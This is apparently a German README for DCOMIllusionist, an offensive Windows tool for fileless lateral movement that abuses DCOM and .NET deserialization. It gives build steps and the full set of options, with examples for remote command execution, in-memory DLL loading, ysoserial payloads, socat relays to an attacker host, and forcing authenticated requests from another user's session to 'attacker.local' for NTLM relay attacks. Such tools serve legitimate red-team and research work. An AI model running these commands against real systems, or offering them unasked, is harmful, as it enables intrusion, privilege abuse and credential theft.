
DCOM In-Memory- und dateilose Laterale-Bewegungstechniken durch .Net-Deserilization
Windows-Technik für dateilose laterale Bewegung.
Einleitung • Build • Verwendung • Technische Details • Danksagungen
Dieses Tool ermöglicht die Remote-Codeausführung auf einem Windows-Rechner, sofern Sie über administrative Rechte verfügen. Es nutzt DCOM und das Verhalten von .NET-DCOM-Servern, die eingehende Objekte automatisch deserialisieren. Dies ermöglicht die Ausführung beliebiger Befehle oder das Laden von DLLs, ohne auf die Festplatte zu schreiben.
Ursprünglich von James Forshaw als Technik zur Privilegienausweitung entdeckt, wurde diese Methode für laterale Bewegung angepasst, indem bestimmte Registrierungsschlüssel remote geändert werden. Zusätzlich unterstützt sie die sitzungsübergreifende Ausnutzung über DCOM, sodass beliebige Befehle in einer anderen Benutzersitzung im Sicherheitskontext dieser Sitzung ausgeführt werden können.
Es funktioniert auf Workstations und Servern, jedoch ist für diese Technik ein Netzwerkzugriff zwischen dem Zielrechner und einem vom Angreifer kontrollierten Rechner erforderlich.
Weitere Details in diesem Abschnitt.
Ein Release ist verfügbar, oder Sie können es manuell erstellen:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!WICHTIG]
Für die erfolgreiche Nutzung dieses Tools ist administrativer Zugriff sowohl auf dem angreifenden Host (über eine erhöhte Shell) als auch auf dem Zielrechner erforderlich.
Verwendung:
DCOMIllusionist.exe [optionen] -t <ziel> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Optionen:
-h, --help Hilfe anzeigen und beenden
-d, --debug Debug-Logging aktivieren
-t, --target <wert> Zielhostname oder -IP festlegen
-p, --port <wert> Zielport festlegen (Standard: 49765)
--clsid <wert> Eine CLSID angeben (ohne geschweifte Klammern)
--appid <wert> Eine AppID angeben (ohne geschweifte Klammern)
-s, --session <wert> Eine Sitzungskennung angeben
-l --listen <host> Listener-FQDN oder -IP angeben
-g, --gadget <wert> Zu verwendendes Gadget angeben
--attacker-sid <wert> Die SID des Angreifers festlegen
--no-port-check Überprüfung der Portverfügbarkeit deaktivieren
--restore-backup <pfad> Registrierung aus Sicherung wiederherstellen
--local-registry-only Nur lokale Registrierungsänderungen durchführen
--remote-registry-only Nur entfernte Registrierungsänderungen durchführen
--skip-local-registry-setup Lokale Registrierungseinrichtung überspringen
--skip-remote-registry-setup Entfernte Registrierungseinrichtung überspringen
--hku Entfernte Registrierungsoperationen auf HKCU statt HKLM durchführen
--fake-clsid Gefälschte CLSID mit gefälschter AppId erstellen
Angriffe:
--ps-exec <argumente> Einen Befehl remote mit PSExec ausführen
--exec <befehl> Einen Befehl remote ausführen
--exec-args <argumente> Argumente für den Befehl
--curl <url> Webanfrage im Curl-Stil als Payload verwenden
--file-write-src <quelle> Zu schreibende Datei
--file-write-dst <ziel> Zielpfad
--load-dll <pfad> Eine DLL in den entfernten Prozess laden
--dll-class <wert> Klasse in der DLL, die ausgeführt werden soll (inkl. Namespace)
--dll-method <wert> Statische Methode in der Klasse, die ausgeführt werden soll (Standard: Run)
--yso-b64 <b64> Base64-kodierten ysoserial-Payload ausführen
--test-network Netzwerkzugriff vom Ziel zum Angreiferrechner überprüfen
--list-sessions Interaktive Sitzungen auf dem Ziel auflisten
Beispiele:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Standard)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Standard)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - Benutzerkontensteuerung (Interaktiver Benutzer)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interaktiver Benutzer)
--sessionWie zuvor erläutert, kann eine Sitzung angegeben werden, um einen beliebigen Befehl in der Sitzung eines anderen Benutzers auszuführen.
[!WARNUNG] Dies funktioniert nur mit AppIDs, die für die Ausführung unter der Identität des interaktiven Benutzers konfiguriert sind. Dies wird automatisch erledigt, es ist nicht notwendig, das
--appid-Argument anzugeben, da das Tool standardmäßig die AppID verwendet, die mit der Benutzerkontensteuerung verknüpft ist.
[!WICHTIG] Dies funktioniert nur, wenn der angreifende Rechner einer Domäne beigetreten ist. Weitere Details hier.
--list-sessionsListet entfernte interaktive und aktive Sitzungen auf dem Ziel mittels WTSEnumerateSessions auf.
--listenWenn der Zielrechner den Host des Angreifers nicht direkt erreichen kann, schlägt der Exploit fehl. Es ist jedoch möglich, einen Zwischenrechner anzugeben, den das Ziel erreichen kann. Mit Tools wie socat kann der Datenverkehr dann von diesem Zwischenrechner zum Host des Angreifers weitergeleitet werden.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidBei der Ausführung des Exploits aus einer runas /netonly-Shell heraus kann die zugehörige Identität nicht automatisch abgerufen werden. Daher ist es erforderlich, diese explizit mit der Option --attacker-sid anzugeben, damit der Angriff erfolgreich ist.
--exec--exec kann mit --exec-args verwendet werden, um beliebige Binärdateien auf dem Ziel auszuführen:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!HINWEIS]
--ps-execist lediglich ein Wrapper dafür, dasselbe kann erreicht werden mit:--ps-exec calc
--curlCurl kann in Szenarien mit sitzungsübergreifender Ausnutzung nützlich sein. Wenn Sie administrative Rechte auf einem Rechner haben und beispielsweise ein Domänenadministrator in Sitzung 3 aktiv ist, ist es möglich, eine authentifizierte HTTP-Anfrage, rein über .NET, im Namen dieses Benutzers zu initiieren. Indem diese Anfrage an einen vom Angreifer kontrollierten Rechner mit ntlmrelayx.py gesendet wird, können klassische NTLM-Relay-Angriffe durchgeführt werden, um den Benutzer zu kompromittieren.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllEs ist möglich, eine beliebige DLL vollständig im Arbeitsspeicher zu laden, ohne die Festplatte zu berühren. Zum Beispiel:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
Standardmäßig wird die statische Methode Run (ohne Parameter) der angegebenen Klasse ausgeführt. Dieses Verhalten kann mit dem Parameter --dll-method angepasst werden.
--yso-b64Für erweiterte Gadget-Erstellung kann Ysoserial.net verwendet werden. Der resultierende Base64-kodierte Payload kann direkt übergeben werden; er wird in eine RolePrincipal-Instanz eingekapselt und auf dem Zielrechner deserialisiert.
[!WARNUNG] Funktioniert nur mit BinaryFormatter
--test-networkFührt die gleichen Operationen wie der normale Exploit aus, sendet jedoch nur einen Dummy-Payload, um zu bestätigen, dass das Ziel eine Verbindung zum Angreiferrechner herstellen kann.
--hkuAlles kann von einem Benutzer mit niedrigen Berechtigungen ausgenutzt werden, indem der Registrierungsstammschlüssel HKEY_USERS anstelle von HKLM verwendet wird. Dies kann verwendet werden, wenn ein Benutzer Mitglied der Gruppe Leistungsprotokoll-Benutzer oder Verteilte COM-Benutzer ist. In diesem Fall muss --attacker-sid angegeben werden, um auf den richtigen Registrierungspfad zuzugreifen. Es muss auch eine beschreibbare CLSID angegeben werden (siehe --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsidErstellen Sie eine gefälschte CLSID und AppId. Auf der AppId werden Berechtigungen so gesetzt, dass der aktuelle Benutzer oder die --attacker-sid den DCOM-Server starten und aktivieren kann. Dies ist nützlich, wenn die Ausnutzung von einem Benutzer mit niedrigen Berechtigungen auf HKU durchgeführt wird.
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Erstelle gefälschte CLSID
[+] Neue AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] Neue CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
Wenn ein in .NET geschriebener DCOM-Server ein Objekt empfängt, fragt er die DCOM-Schnittstelle IManagedObject ab. Wenn die Schnittstelle vorhanden ist, ruft der Server die Methode GetSerializedBuffer auf. Der Client antwortet mit einer serialisierten Version des Objekts, die der Server dann deserialisiert, was zur Ausführung beliebigen Codes führt. Damit dies gelingt, muss der Zielrechner direkten Netzwerkzugriff auf den Host des Angreifers haben (siehe --listen).
Durch das Fälschen beliebiger DCOM-OBJREFs ist es möglich, den Zielrechner auf jedes entfernte System umzuleiten. Beispielsweise kann socat verwendet werden, um Datenverkehr auf Port 135 (und einem weiteren beliebigen Port) zum tatsächlich vom Angreifer kontrollierten Rechner weiterzuleiten. In James Forshaws Proof of Concept, der später die Grundlage für die „Potato"-Exploits bildete, verwendete er die GUID des PointerMoniker, um beliebige Objekte in OBJREFs zu marshallen. Dieser Ansatz löste erfolgreich die Authentifizierung aus, scheiterte jedoch in den nachfolgenden Schritten. Durch die Verwendung der GUID des Standard-Marshaller stattdessen wird es möglich, funktionsfähige, beliebige OBJREFs zu erstellen und zu senden.
Standardmäßig sind jedoch auf den getesteten Windows Server-Versionen keine .NET-DCOM-Server verfügbar. Um die entfernte Interaktion zu ermöglichen, kann die Windows-Registrierung remote geändert werden, um eine benutzerdefinierte AppID mit einer .NET-CLSID zu verknüpfen und so über DCOM zugänglich zu machen. Durch eine sorgfältige Auswahl der AppID ist es auch möglich, eine sitzungsübergreifende Ausnutzung über den Sitzungs-Moniker zu ermöglichen, sofern auf dem Zielrechner eine interaktive Sitzung vorhanden ist. Dies wurde erneut von James Forshaw entdeckt und detailliert beschrieben hier und hier.
Damit der Exploit erfolgreich ist, muss der Zielserver die serialisierten Objektdaten (das Gadget) vom angreifenden Rechner abrufen. Dies erfordert, dass der Server sich beim Host des Angreifers authentifiziert.
Wenn die AppID nicht für die Ausführung unter der Identität des interaktiven Benutzers konfiguriert ist, stammt der Authentifizierungsversuch als Anonym. Um dies zu ermöglichen, muss der Rechner des Angreifers so konfiguriert sein, dass er anonyme DCOM-Authentifizierung akzeptiert, indem die standardmäßigen DCOM-Zugriffsberechtigungen geändert werden.
Wenn die AppID mit dem interaktiven Benutzer verknüpft ist, erfolgt die Authentifizierung mit der Identität des Benutzers in der angegebenen Sitzung (über --session) oder standardmäßig in Sitzung 0. In diesem Fall muss der Rechner des Angreifers einer Domäne beigetreten sein, um die Authentifizierung des Benutzers zu akzeptieren. Deshalb wird die Gruppe Jeder vorübergehend zu den standardmäßigen DCOM-Zugriffsberechtigungen hinzugefügt, um eine erfolgreiche Authentifizierung zu ermöglichen.
Es ist wichtig zu beachten, dass nur die standardmäßigen Zugriffsberechtigungen geändert werden; Start- und Aktivierungsberechtigungen bleiben unverändert. Alle Änderungen werden nach Abschluss des Vorgangs rückgängig gemacht. Wenn etwas schiefgeht, wird eine Sicherung der ursprünglichen Einstellungen erstellt, die wiederhergestellt werden kann.
[!VORSICHT] Der Rechner des Angreifers bleibt während des Exploits vorübergehend in einem permissiveren Zustand, alle Änderungen werden jedoch danach rückgängig gemacht.
TextFormattingRunProperties-Gadget; er zeigte, wie man beliebige DLLs in den Arbeitsspeicher lädt. Dies wurde für die --curl- und --file-write-Angriffe wiederverwendet.